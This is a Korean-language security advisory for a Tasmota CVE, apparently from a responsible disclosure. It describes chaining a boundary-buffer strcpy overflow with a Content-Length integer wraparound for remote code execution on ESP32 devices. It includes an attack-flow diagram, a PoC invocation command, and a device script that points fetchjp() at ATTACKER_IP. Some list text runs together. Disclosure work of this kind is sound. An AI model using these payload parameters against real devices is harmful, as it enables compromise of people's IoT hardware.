
CVE-2026-38422 — Tasmota fetch_jpg()의 결합된 버퍼 오버플로를 통한 원격 코드 실행 (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38422
심각도: 치명적 (CVSS 9.8)
제품: Arendst Tasmota
영향받는 버전: <= 15.3.0.3
파일: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
함수: fetch_jpg()
작성자: Saidakbarxon Maxsudxonov
공개: 책임 있는 공개 — 게시 전에 Tasmota에 보고됨
Tasmota의 스크립터 드라이버(xdrv_10_scripter.ino)에 있는 fetch_jpg() 함수에는, 함께 사용되면 Tasmota <= 15.3.0.3을 실행하는 ESP32 기반 장치에서 원격 코드 실행을 가능하게 하는 두 가지 메모리 손상 취약점이 포함되어 있습니다:
boundary[] 버퍼로의 strcpy() 오버플로 — WiFiClient/HTTPClient vtable 포인터를 포함한 인접 힙 메모리를 손상시킵니다 (CVE-2026-38426도 참조)Content-Length의 uint16_t 정수 랩어라운드 — 부족한 크기의 버퍼를 할당하여 스트림 상태 손상을 초래합니다 (CVE-2026-38427도 참조)단일 공격 세션에서 함께 사용하면 이 두 프리미티브는 힙 손상을 극대화하고 임의 코드 실행 성공 확률을 크게 높입니다.
Attacker MJPEG Server
│
│ Phase 1: HTTP 200 response with long boundary string
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
│ → strcpy(boundary[40], 50_chars) → OVERFLOW
│ → WiFiClient vtable ptr partially overwritten
▼
ESP32 Heap Corrupted
│
│ Phase 2: MJPEG frame with Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (wraparound)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 bytes remain in stream → heap/stream corruption
▼
Double Corruption → RCE / Guaranteed DoS
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
PoC 서버는:
fetchjp() 트리거)Content-Length: 65537을 가진 MJPEG 프레임을 전송합니다 (랩어라운드)전체 구현은 CVE-2026-38422_poc.py를 참조하세요.
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
장치는 fetchjp()를 사용하는 Tasmota 스크립트를 실행 중이어야 합니다. 공격자는 장치가 연결하는 서버를 제어하거나 기존 연결에 대해 MITM을 수행합니다.
버전 <= 15.3.0.3을 실행하고, 스크립터 지원이 활성화되어 있으며, 외부 MJPEG 서버에 연결하기 위해 fetchjp()를 사용하는 스크립트를 실행하는 모든 ESP32 기반 Tasmota 장치.